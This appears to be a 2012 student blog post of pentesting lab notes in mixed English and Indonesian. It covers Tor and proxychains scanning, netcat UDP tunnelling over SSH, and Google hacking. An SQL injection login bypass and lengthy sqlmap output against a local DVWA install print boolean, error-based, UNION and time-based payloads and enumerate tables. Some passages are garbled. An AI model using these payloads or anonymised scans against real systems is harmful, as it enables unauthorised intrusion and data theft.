Rabu, 01 Februari 2012

WHAT IS TOR

Tor (short for The onion router) is a system intended to enable online anonymity. Tor client software routes Internet traffic through a worldwide volunteer network of servers in order to conceal a user's location or usage from anyone conducting network surveillance or traffic analysis. Using Tor makes it more difficult to trace Internet activity, including "visits to Web sites, online posts, instant messages and other communication forms", back to the user and is intended to protect users' personal freedom, privacy, and ability to conduct confidential business by keeping their internet activities from being monitored.

now to start TOR on the shell you can type / etc / init.d / tor star

then to launch an attack either from information gathering, service enumeration, to assault you must type proxychains first.
with example open firefox type proxychains firefox

and for scanning with nmap nmap you type proxychains -v -sS -0 www.dddd.com




Task Number 6
I this task number 6

click yow
NETCUT With METHOD mkFIFO


This time I will give a simple example of how to perform UDP tunneling through an SSH connection. It may be said in short you will send a UDP packet directly between the two networks are secure, then you can follow the following manner: 1. Hubungkan remote server dan setting TCP forward.

    clients$ ssh -L 22222:127.0.0.1:22222 remote.server.be

    Permintaan apapun yang dikirim ke tcp lokal/port 22222 akan melalui tunnel secara aman ke remote server. Kemudian kita akan menggunakan netcat untuk memforward query TCP ke UDP server.

2. Forwarding TCP ke UDP dengan netcat pada Server
    server$ mkfifo /tmp/fifo
    server$ iptables -A INPUT -p tcp –dport 22222 -j ACCEPT
    server$ nc -l -p 22222 < /tmp/fifo | nc -u IP_ADDRESS_OF_DNSSERVER 53 > /tmp/fifo

3. Forwarding UDP ke TCP dengan netcat di Klien
    client$ mkfifo /tmp/fifo
    client$ sudo nc -l -u -p 53 < /tmp/fifo | nc 127.0.0.1 22222 > /tmp/fifo
    server$ nc -l -p 22222 < /tmp/fifo | nc 127.0.0.1 22222 > /tmp/fifo

    gunakan Sudo jika kamu bukan root, kamu harus jadi root untuk mengakses servis binding ke port di bawah 1024

4. Query
    nslookup sub.domain.be 127.0.0.1

Nah untuk lebih jelasnya skemanya sebagai berikut:
client –> merequest ke 127.0.0.1 udp/53 –> netcat memforward dari udp/53 ke tcp/22222 –> tcp/22222 melakukan tunneling melalui SSH –> server menerima permintaan query pada tcp/22222 –> netcat memforward dari tcp/22222 ke alamat ip yang dituju pada udp/53 –> server
Google Hacking

Google hacking is a term that refers to the art of creating complex search engine queries in order to filter through large amounts of search results for information related to computer security.
In its malicious format, it can be used to detect websites that are vulnerable to numerous exploits and vulnerabilities as well as locate private, sensitive information about others, such as credit card numbers, social security numbers, and passwords.
Google Hacking involves using Google operators to locate specific strings of text within search results.


What a hacker can do if your site is vulnerableInformation that the Google Hacking Database identifies:
  • Advisories and server vulnerabilities
  • Error messages that contain too much information
  • Files containing passwords
  • Sensitive directories
  • Pages containing logon portals
  • Pages containing network or vulnerability data such as firewall logs.


How to check for Google hacking vulnerabilities
The easiest way to check whether your web site & applications have Google hacking vulnerabilities, is to use a Web Vulnerability Scanner. A Web Vulnerability Scanner scans your entire website and automatically checks for pages that are identified by Google hacking queries. (Note: Your web vulnerability scanner must be able to launch Google hacking queries).

The Acunetix Web Vulnerability Scanner scans for SQL injection, Cross site scripting and many more vulnerabilities. For more information & a trial download click here.

Preventing Google hacking attacks
Remove all pages identified by Google hacking queries
Check if your website is vulnerable to attack with Acunetix Web Vulnerability Scanner
Acunetix Web Vulnerability Scanner ensures website security by automatically checking for SQL injection, Cross site scripting and other vulnerabilities. It checks password strength on authentication pages and automatically audits shopping carts, forms, dynamic content and other web applications. As the scan is being completed, the software produces detailed reports that pinpoint where vulnerabilities exist. Take a product tour or download the evaluation version today!

Scanning for XSS vulnerabilities with Acunetix WVS Free Edition!
To check whether your website has cross site scripting vulnerabilities, download the Free Edition from http://www.acunetix.com/cross-site-scripting/scanner.htm. This version will scan any website / web application for XSS vulnerabilities and it will also reveal all the essential information related to it, such as the vulnerability location and remediation techniques. Scanning for XSS is normally a quick exercise (depending on the size of the web-site).

BYPASSING FBIP

open your browser and type localhost / fbip
will appear as follows.
then you can type 'or'1' = '1 '#



and you can enter even without a username and password


 SQL INJECTION WITH DVWA


DVWA open on localhost / dvwa in writing in the browser ..
once you start apache and mysql ...
then input your username and password when it is opened dvwa
upon entering you can choose DVWA scurity with recovered LOW

 
 then open the tamper data on the tool and run a web browser by clicking the Start tampe.




 then enter the number 1 and then submit. and after the tamper can stop searching for then click on the tamper

 on tamper we can see the cookie to be copied to the following shell


 and furthermore you can see the following instructions

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=pag22l1idbstdes8f0e3avq8h1" --string="Surname" --dbs
    sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[!] Legal Disclaimer: usage of sqlmap for attacking web servers without prior mutual consent can be considered as an illegal activity. it is the final user's responsibility to obey all applicable local, state and federal laws. authors assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting at: 03:55:56

[03:55:56] [INFO] using '/pentest/database/sqlmap/output/localhost/session' as session file
[03:55:56] [INFO] resuming injection data from session file
[03:55:56] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[03:55:56] [INFO] testing connection to the target url
sqlmap got a 302 redirect to 'http://localhost:80/dvwa/login.php'. do you want to follow redirects from now on (or stay on the original page)? [Y/n] y
[03:55:58] [INFO] testing if the provided string is within the target URL page content
[03:55:58] [WARNING] you provided 'Surname' as the string to match, but such a string is not within the target URL page content original request, sqlmap will keep going anyway
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 5750=5750 AND 'qBpA'='qBpA&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=1' AND (SELECT 6077 FROM(SELECT COUNT(*),CONCAT(CHAR(58,116,118,117,58),(SELECT (CASE WHEN (6077=6077) THEN 1 ELSE 0 END)),CHAR(58,117,119,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'pPqT'='pPqT&Submit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=1' UNION ALL SELECT NULL, CONCAT(CHAR(58,116,118,117,58),IFNULL(CAST(CHAR(110,104,111,74,115,119,119,120,89,106) AS CHAR),CHAR(32)),CHAR(58,117,119,121,58))# AND 'qobI'='qobI&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1' AND SLEEP(5) AND 'HWkj'='HWkj&Submit=Submit
---

[03:55:58] [INFO] manual usage of GET payloads requires url encoding
[03:55:58] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5.0
[03:55:58] [INFO] fetching database names
[03:55:58] [INFO] read from file '/pentest/database/sqlmap/output/localhost/session': information_schema, dvwa, fbip, mysql
available databases [4]:
[*] dvwa
[*] fbip
[*] information_schema
[*] mysql

[03:55:58] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/localhost'

[*] shutting down at: 03:55:58

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=pag22l1idbstdes8f0e3avq8h1" -D dvwa --tables
    sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[!] Legal Disclaimer: usage of sqlmap for attacking web servers without prior mutual consent can be considered as an illegal activity. it is the final user's responsibility to obey all applicable local, state and federal laws. authors assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting at: 03:56:44

[03:56:44] [INFO] using '/pentest/database/sqlmap/output/localhost/session' as session file
[03:56:44] [INFO] resuming injection data from session file
[03:56:44] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[03:56:44] [INFO] testing connection to the target url
sqlmap got a 302 redirect to 'http://localhost:80/dvwa/login.php'. do you want to follow redirects from now on (or stay on the original page)? [Y/n] y
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 5750=5750 AND 'qBpA'='qBpA&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=1' AND (SELECT 6077 FROM(SELECT COUNT(*),CONCAT(CHAR(58,116,118,117,58),(SELECT (CASE WHEN (6077=6077) THEN 1 ELSE 0 END)),CHAR(58,117,119,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'pPqT'='pPqT&Submit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=1' UNION ALL SELECT NULL, CONCAT(CHAR(58,116,118,117,58),IFNULL(CAST(CHAR(110,104,111,74,115,119,119,120,89,106) AS CHAR),CHAR(32)),CHAR(58,117,119,121,58))# AND 'qobI'='qobI&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1' AND SLEEP(5) AND 'HWkj'='HWkj&Submit=Submit
---

[03:56:46] [INFO] manual usage of GET payloads requires url encoding
[03:56:46] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5.0
[03:56:46] [INFO] fetching tables for database: dvwa
[03:56:46] [INFO] read from file '/pentest/database/sqlmap/output/localhost/session': dvwa, guestbook, dvwa, users
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

[03:56:46] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/localhost'

[*] shutting down at: 03:56:46

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=pag22l1idbstdes8f0e3avq8h1" -T users --columns
    sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[!] Legal Disclaimer: usage of sqlmap for attacking web servers without prior mutual consent can be considered as an illegal activity. it is the final user's responsibility to obey all applicable local, state and federal laws. authors assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting at: 03:57:44

[03:57:45] [INFO] using '/pentest/database/sqlmap/output/localhost/session' as session file
[03:57:45] [INFO] resuming injection data from session file
[03:57:45] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[03:57:45] [INFO] testing connection to the target url
sqlmap got a 302 redirect to 'http://localhost:80/dvwa/login.php'. do you want to follow redirects from now on (or stay on the original page)? [Y/n] y
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 5750=5750 AND 'qBpA'='qBpA&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=1' AND (SELECT 6077 FROM(SELECT COUNT(*),CONCAT(CHAR(58,116,118,117,58),(SELECT (CASE WHEN (6077=6077) THEN 1 ELSE 0 END)),CHAR(58,117,119,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'pPqT'='pPqT&Submit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=1' UNION ALL SELECT NULL, CONCAT(CHAR(58,116,118,117,58),IFNULL(CAST(CHAR(110,104,111,74,115,119,119,120,89,106) AS CHAR),CHAR(32)),CHAR(58,117,119,121,58))# AND 'qobI'='qobI&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1' AND SLEEP(5) AND 'HWkj'='HWkj&Submit=Submit
---

[03:57:47] [INFO] manual usage of GET payloads requires url encoding
[03:57:47] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5.0
[03:57:47] [WARNING] missing database parameter, sqlmap is going to use the current database to enumerate table(s) columns
[03:57:47] [INFO] fetching current database
[03:57:47] [INFO] read from file '/pentest/database/sqlmap/output/localhost/session': dvwa
[03:57:47] [INFO] fetching columns for table 'users' on database 'dvwa'
[03:57:47] [INFO] read from file '/pentest/database/sqlmap/output/localhost/session': user_id, int(6), first_name, varchar(15), last_name, varchar(15), user, varchar(15), password, varchar(32), avatar, varchar(70)
Database: dvwa
Table: users
[6 columns]
+------------+-------------+
| Column     | Type        |
+------------+-------------+
| avatar     | varchar(70) |
| first_name | varchar(15) |
| last_name  | varchar(15) |
| password   | varchar(32) |
| user       | varchar(15) |
| user_id    | int(6)      |
+------------+-------------+

[03:57:47] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/localhost'

[*] shutting down at: 03:57:47

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=pag22l1idbstdes8f0e3avq8h1" -T users -C user_id --dump

    sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[!] Legal Disclaimer: usage of sqlmap for attacking web servers without prior mutual consent can be considered as an illegal activity. it is the final user's responsibility to obey all applicable local, state and federal laws. authors assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting at: 03:58:08

[03:58:08] [INFO] using '/pentest/database/sqlmap/output/localhost/session' as session file
[03:58:08] [INFO] resuming injection data from session file
[03:58:08] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[03:58:08] [INFO] testing connection to the target url
sqlmap got a 302 redirect to 'http://localhost:80/dvwa/login.php'. do you want to follow redirects from now on (or stay on the original page)? [Y/n] y
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 5750=5750 AND 'qBpA'='qBpA&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=1' AND (SELECT 6077 FROM(SELECT COUNT(*),CONCAT(CHAR(58,116,118,117,58),(SELECT (CASE WHEN (6077=6077) THEN 1 ELSE 0 END)),CHAR(58,117,119,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'pPqT'='pPqT&Submit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=1' UNION ALL SELECT NULL, CONCAT(CHAR(58,116,118,117,58),IFNULL(CAST(CHAR(110,104,111,74,115,119,119,120,89,106) AS CHAR),CHAR(32)),CHAR(58,117,119,121,58))# AND 'qobI'='qobI&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1' AND SLEEP(5) AND 'HWkj'='HWkj&Submit=Submit
---

[03:58:10] [INFO] manual usage of GET payloads requires url encoding
[03:58:10] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5.0
[03:58:10] [WARNING] missing database parameter, sqlmap is going to use the current database to enumerate table(s) entries
[03:58:10] [INFO] fetching current database
[03:58:10] [INFO] read from file '/pentest/database/sqlmap/output/localhost/session': dvwa
do you want to use LIKE operator to retrieve column names similar to the ones provided with the -C option? [Y/n] y
[03:58:13] [INFO] fetching columns LIKE 'user_id' for table 'users' on database 'dvwa'
[03:58:13] [INFO] read from file '/pentest/database/sqlmap/output/localhost/session': user_id, int(6)
[03:58:13] [INFO] fetching column(s) 'user_id' entries for table 'users' on database 'dvwa'
[03:58:13] [INFO] read from file '/pentest/database/sqlmap/output/localhost/session': 1, 2, 3, 4, 5
Database: dvwa
Table: users
[5 entries]
+---------+
| user_id |
+---------+
| 1       |
| 3       |
| 2       |
| 5       |
| 4       |
+---------+

[03:58:13] [INFO] Table 'dvwa.users' dumped to CSV file '/pentest/database/sqlmap/output/localhost/dump/dvwa/users.csv'
[03:58:13] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/localhost'

[*] shutting down at: 03:58:13

What is Maltego?

With the continued growth of your organization, the people and hardware deployed to ensure that it remains in working order is essential, yet the threat picture of your “environment” is not always clear or complete. In fact, most often it’s not what we know that is harmful - it’s what we don’t know that causes the most damage. This being stated, how do you develop a clear profile of what the current deployment of your infrastructure resembles? What are the cutting edge tool platforms designed to offer the granularity essential to understand the complexity of your network, both physical and resource based?

Maltego is a unique platform developed to deliver a clear threat picture to the environment that an organization owns and operates. Maltego’s unique advantage is to demonstrate the complexity and severity of single points of failure as well as trust relationships that exist currently within the scope of your infrastructure.

The unique perspective that Maltego offers to both network and resource based entities is the aggregation of information posted all over the internet - whether it’s the current configuration of a router poised on the edge of your network or the current whereabouts of your Vice President on his international visits, Maltego can locate, aggregate and visualize this information.

Maltego offers the user with unprecedented information. Information is leverage. Information is power. Information is Maltego.

when you open your first maltego ...
that will emerge is a register, you can register at the link https://www.paterva.com/web5/community/?






register at the link after you fill that was ordered at the time opened the first maltego and follow the instructions






after successful then the following display will appear
 

WHAT IS SHODAN

SHODAN is a search engine that lets you find specific computers (routers, servers, etc.) using a variety of filters. Some have also described it as a public port scan directory or a search engine of banners.


Web search engines, such as Google and Bing, are great for finding websites. But what if you're interested in finding computers running a certain piece of software (such as Apache)? Or if you want to know which version of Microsoft IIS is the most popular? Or you want to see how many anonymous FTP servers there are? Maybe a new vulnerability came out and you want to see how many hosts it could infect? Traditional web search engines don't let you answer those questions.


So what does SHODAN index then? Good question. The bulk of the data is taken from 'banners', which are meta-data the server sends back to the client. This can be information about the server software, what options the service supports, a welcome message or anything else that the client would like to know before interacting with the server.

For example, following is a FTP banner:

220 kcg.cz FTP server (Version 6.00LS) ready.

This tells us a potential name of the server (kcg.cz), the type of FTP server (Solaris ftpd) and its version (6.00LS). For HTTP a banner looks like:
 
HTTP/1.0 200 OK
Date: Tue, 16 Feb 2010 10:03:04 GMT
Server: Apache/1.3.26 (Unix) AuthMySQL/2.20 PHP/4.1.2 mod_gzip/1.3.19.1a mod_ssl/2.8.9 OpenSSL/0.9.6g
Last-Modified: Wed, 01 Jul 1998 08:51:04 GMT
ETag: "135074-61-3599f878"
Accept-Ranges: bytes
Content-Length: 97
Content-Type: text/html

above is a tool to  information gathering......